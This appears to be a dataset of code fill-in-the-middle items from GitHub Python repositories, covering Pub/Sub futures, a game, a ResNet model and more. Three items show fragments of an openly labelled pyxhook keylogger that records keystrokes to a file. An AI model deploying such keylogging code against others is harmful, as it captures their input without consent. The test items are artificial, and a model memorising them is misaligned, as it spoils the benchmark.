<|fim_suffix|> Raises: concurrent.futures.TimeoutError: If the request times out. Exception: For undefined exceptions in the underlying call execution. """ # Attempt to get the exception if there is one. # If there is not one, then we know everythin...
code_fim
hard
{ "lang": "python", "repo": "tswast/google-cloud-python", "path": "/pubsub/google/cloud/pubsub_v1/publisher/futures.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> def result(self, timeout=None): """Return the message ID or raise an exception. This blocks until the message has been published successfully and returns the message ID unless an exception is raised. Args: timeout (Union[int, float]): The number of seconds...
code_fim
hard
{ "lang": "python", "repo": "tswast/google-cloud-python", "path": "/pubsub/google/cloud/pubsub_v1/publisher/futures.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: tswast/google-cloud-python path: /pubsub/google/cloud/pubsub_v1/publisher/futures.py # Copyright 2019, Google LLC All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of ...
code_fim
medium
{ "lang": "python", "repo": "tswast/google-cloud-python", "path": "/pubsub/google/cloud/pubsub_v1/publisher/futures.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: arianon/panel path: /panel/widgets/music.py import asyncio from ..widget import Widget async def music(): """ Fetches the current song from MPD and waits until it reports a `player` action (song switched, paused, unpaused or stopped) """ widget = Widget() widget.icon = ...
code_fim
hard
{ "lang": "python", "repo": "arianon/panel", "path": "/panel/widgets/music.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> try: data = await reader.readuntil(b'OK\n') except asyncio.IncompleteReadError: return None else: data = data.decode().strip('OK\n').splitlines() return dict(info.split(': ', 1) for info in data) async def info(): song = ...
code_fim
hard
{ "lang": "python", "repo": "arianon/panel", "path": "/panel/widgets/music.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # 2nd: run exec cmd algorithm_path = our_exec_path + os.sep + our_algorithm params_lst = map(str, [algorithm_path, data_set_path + os.sep + data_set_name, ...
code_fim
hard
{ "lang": "python", "repo": "RapidsAtHKUST/AccTriCnt", "path": "/python_experiments/run_synthetic.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: RapidsAtHKUST/AccTriCnt path: /python_experiments/run_synthetic.py import socket import time_out_util from config import * from exec_utils import * def run_exp(env_tag=knl_tag): with open('config.json') as ifs: my_config_dict = json.load(ifs)[env_tag] ###################### ...
code_fim
hard
{ "lang": "python", "repo": "RapidsAtHKUST/AccTriCnt", "path": "/python_experiments/run_synthetic.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: csy1993/PythonLeetcode path: /a17_电话号码的字母组合.py ''' * @File: a17_电话号码的字母组合.py * @Author: CSY * @Date: 2019/7/27 - 10:37 ''' """ 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。 给出数字到字母的映射如下(与电话按键相同)。注意 1 不对应任何字母。 """ class Solution: <|fim_suffix|> if __name__ == "__main__": digits = "23" s1 = Solution(...
code_fim
hard
{ "lang": "python", "repo": "csy1993/PythonLeetcode", "path": "/a17_电话号码的字母组合.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == "__main__": digits = "23" s1 = Solution() print(s1.letterCombinations(digits))<|fim_prefix|># repo: csy1993/PythonLeetcode path: /a17_电话号码的字母组合.py ''' * @File: a17_电话号码的字母组合.py * @Author: CSY * @Date: 2019/7/27 - 10:37 ''' """ 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。 给出数字到字母的映射如下(与电话按...
code_fim
hard
{ "lang": "python", "repo": "csy1993/PythonLeetcode", "path": "/a17_电话号码的字母组合.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> class Exclamation(Letter): keyhole = 1, 2.25, 2/32, 1/2 innards = 1+1/8, 1+1/16, 2-3/16, 2-2/16 def draw(self, zoom, **kwargs): super().draw(zoom=zoom, **kwargs) if self.unlocked: gl.glColor3f(0.1, 0.2, 0.5) with draw_opening(self): gl....
code_fim
hard
{ "lang": "python", "repo": "encukou/jrti_game", "path": "/jrti_game/text.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: encukou/jrti_game path: /jrti_game/text.py import functools import contextlib from pyglet import gl from jrti_game.data import spritesheet_data, spritesheet_texture, sprites from jrti_game.flippable import Sprite from jrti_game.key_names import key_symbols from jrti_game.util import draw_rect, ...
code_fim
hard
{ "lang": "python", "repo": "encukou/jrti_game", "path": "/jrti_game/text.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> class Letter(Sprite): def __init__(self, letter, strim=0, etrim=0, **kwargs): u, v, width, height = letter_uvwh(letter) width += 1-etrim-strim kwargs.update( texture_width=width, texture_height=height, u=u-1+strim, v=v, )...
code_fim
hard
{ "lang": "python", "repo": "encukou/jrti_game", "path": "/jrti_game/text.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>ne|'\n' nl|'\n' dedent|'' name|'hostname' op|'=' name|'self' op|'.' name|'_get_hostname' op|'(' op|')' newline|'\n' nl|'\n' name|'floating_ips' op|'=' name|'self' op|'.' name|'ip_info' op|'[' string|"'floating_ips'" op|']' newline|'\n' name|'floating_ip' op|'=' name|'floating_ips' name|'and' name|'floatin...
code_fim
hard
{ "lang": "python", "repo": "bopopescu/nova-token", "path": "/nova/api/metadata/base.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>elf' op|'.' name|'files' newline|'\n' dedent|'' name|'if' name|'self' op|'.' name|'extra_md' op|':' newline|'\n' indent|' ' name|'metadata' op|'.' name|'update' op|'(' name|'self' op|'.' name|'extra_md' op|')' newline|'\n' dedent|'' name|'if' name|'self' op|'.' name|'network_config' op|':' newl...
code_fim
hard
{ "lang": "python", "repo": "bopopescu/nova-token", "path": "/nova/api/metadata/base.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: bopopescu/nova-token path: /nova/api/metadata/base.py ' name|'jsonutils' op|'.' name|'dump_as_bytes' op|'(' name|'self' op|'.' name|'network_metadata' op|')' newline|'\n' nl|'\n' DECL|member|_password dedent|'' name|'def' name|'_password' op|'(' name|'self' op|',' name|'version' op|',' name|'path...
code_fim
hard
{ "lang": "python", "repo": "bopopescu/nova-token", "path": "/nova/api/metadata/base.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> = os.path.dirname(os.path.realpath(__file__)) sys.path.append(dir_path) for i in __all__: __import__(i)<|fim_prefix|># repo: phoenixding/scdiff path: /scdiff/__init__.py import pdb,sys,os __all__=['ClusteringMetric','File'<|fim_middle|>,'KF2','StatTest','scdiff','Distance','viz'] dir_path
code_fim
easy
{ "lang": "python", "repo": "phoenixding/scdiff", "path": "/scdiff/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: phoenixding/scdiff path: /scdiff/__init__.py import pdb,sys,os __all__=['ClusteringMetric','File','KF2','StatTest','scdiff','Distance','viz'] dir_path<|fim_suffix|>th.append(dir_path) for i in __all__: __import__(i)<|fim_middle|> = os.path.dirname(os.path.realpath(__file__)) sys.pa
code_fim
easy
{ "lang": "python", "repo": "phoenixding/scdiff", "path": "/scdiff/__init__.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|># Result: # # >>> # [0, 2, 4, 6, 8, 10]<|fim_prefix|># repo: byrondover/python-practice path: /generator_examples.py #!/usr/bin/env python3 def countdown(): i=5 while i > 0: yield i i -= 1 <|fim_middle|> for i in countdown(): print(i) # Result: # # >>> # 5 # 4 # 3 # 2 # 1 # Another e...
code_fim
medium
{ "lang": "python", "repo": "byrondover/python-practice", "path": "/generator_examples.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: byrondover/python-practice path: /generator_examples.py #!/usr/bin/env python3 def countdown(): i=5 while i > 0: yield i i -= 1 for i in countdown(): print(i) <|fim_suffix|>def numbers(x): for i in range(x): if i % 2 == 0: yield i print(list(numbers(11))) # Res...
code_fim
medium
{ "lang": "python", "repo": "byrondover/python-practice", "path": "/generator_examples.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: adafruit/Adafruit_CircuitPython_BLE path: /adafruit_ble/services/circuitpython.py # SPDX-FileCopyrightText: 2019 Scott Shawcroft for Adafruit Industries # # SPDX-License-Identifier: MIT """ `circuitpython` ==================================================== <|fim_suffix|> def __init__(self,...
code_fim
hard
{ "lang": "python", "repo": "adafruit/Adafruit_CircuitPython_BLE", "path": "/adafruit_ble/services/circuitpython.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> """UUIDs with the CircuitPython base UUID.""" def __init__(self, uuid16: int) -> None: uuid128 = bytearray("nhtyPtiucriC".encode("utf-8") + b"\x00\x00\xaf\xad") uuid128[-3] = uuid16 >> 8 uuid128[-4] = uuid16 & 0xFF super().__init__(uuid128) class CircuitPythonSer...
code_fim
medium
{ "lang": "python", "repo": "adafruit/Adafruit_CircuitPython_BLE", "path": "/adafruit_ble/services/circuitpython.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>class CircuitPythonService(Service): """Core CircuitPython service that allows for file modification and REPL access. Unimplemented.""" uuid = CircuitPythonUUID(0x0100) filename = StringCharacteristic( uuid=CircuitPythonUUID(0x0200), properties=(Characteristic.READ | Chara...
code_fim
hard
{ "lang": "python", "repo": "adafruit/Adafruit_CircuitPython_BLE", "path": "/adafruit_ble/services/circuitpython.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def PreactResNetDebug(num_classes, in_ch=3, debug=False): """ A not so big predefined preactivation resnet classifier for debugging purposes. Args: num_classes (int): the number of output classes in_ch (int): number of input channels, 3 for RGB images debug (bool): wh...
code_fim
hard
{ "lang": "python", "repo": "lilujunai/Torchelie", "path": "/torchelie/models/resnet.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: lilujunai/Torchelie path: /torchelie/models/resnet.py import functools import torch.nn as nn import torchelie.nn as tnn from .classifier import Classifier def VectorCondResNetBone(arch, head, hidden, in_ch=3, debug=False): """ A resnet with vector side condition. Args: arc...
code_fim
hard
{ "lang": "python", "repo": "lilujunai/Torchelie", "path": "/torchelie/models/resnet.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # Loop trough all rows for row in table.find_all('tr'): # Loop through all columns, get the text and convert to lower case only. row_data = [col.get_text().lower() for col in row.find_all('td')] # Append to table_data: ...
code_fim
hard
{ "lang": "python", "repo": "patrjon/pyshb", "path": "/pyshb/base/base.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: patrjon/pyshb path: /pyshb/base/base.py __all__ = ['SHBBase'] # Standard Library: from pathlib import Path # Third party from bs4 import BeautifulSoup # Local applications: class SHBBase: """ Base class for PySHB. This class does the following: * read the input file *...
code_fim
hard
{ "lang": "python", "repo": "patrjon/pyshb", "path": "/pyshb/base/base.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: rpigu-i/python-pyxhook-keylogger path: /pyxhook_keylogger.py import pyxhook import sys class KeyLogger(): log = "" listener = "" def main(self): """ Take a file path as input and log key presses to said file """ <|fim_suffix|> ...
code_fim
hard
{ "lang": "python", "repo": "rpigu-i/python-pyxhook-keylogger", "path": "/pyxhook_keylogger.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> if event.Ascii==94: file_object.close() self.listener.cancel() if __name__ == '__main__': key_logger = KeyLogger() key_logger.main()<|fim_prefix|># repo: rpigu-i/python-pyxhook-keylogger path: /pyxhook_keylogger.py import pyxhook import sys class Ke...
code_fim
medium
{ "lang": "python", "repo": "rpigu-i/python-pyxhook-keylogger", "path": "/pyxhook_keylogger.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> file_object = open(log,'a') file_object.write(event.Key) file_object.write('\n') if event.Ascii==94: file_object.close() self.listener.cancel() if __name__ == '__main__': key_logger = KeyLogger() key_logger.main()<|fim_p...
code_fim
hard
{ "lang": "python", "repo": "rpigu-i/python-pyxhook-keylogger", "path": "/pyxhook_keylogger.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>KW, strides, padding, dilation = 1, 14, 14, 512, 512, 3, 3, ( # 1, 1), (3, 3), 3<|fim_prefix|># repo: LegendBC/PET path: /operator_ae/ansor/generate_task.py import re with open('task.txt') as f: for l in f.readlines(): pattern = re.compile(r'\[.*?\]') # 查找数字 result = pattern.fin...
code_fim
medium
{ "lang": "python", "repo": "LegendBC/PET", "path": "/operator_ae/ansor/generate_task.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }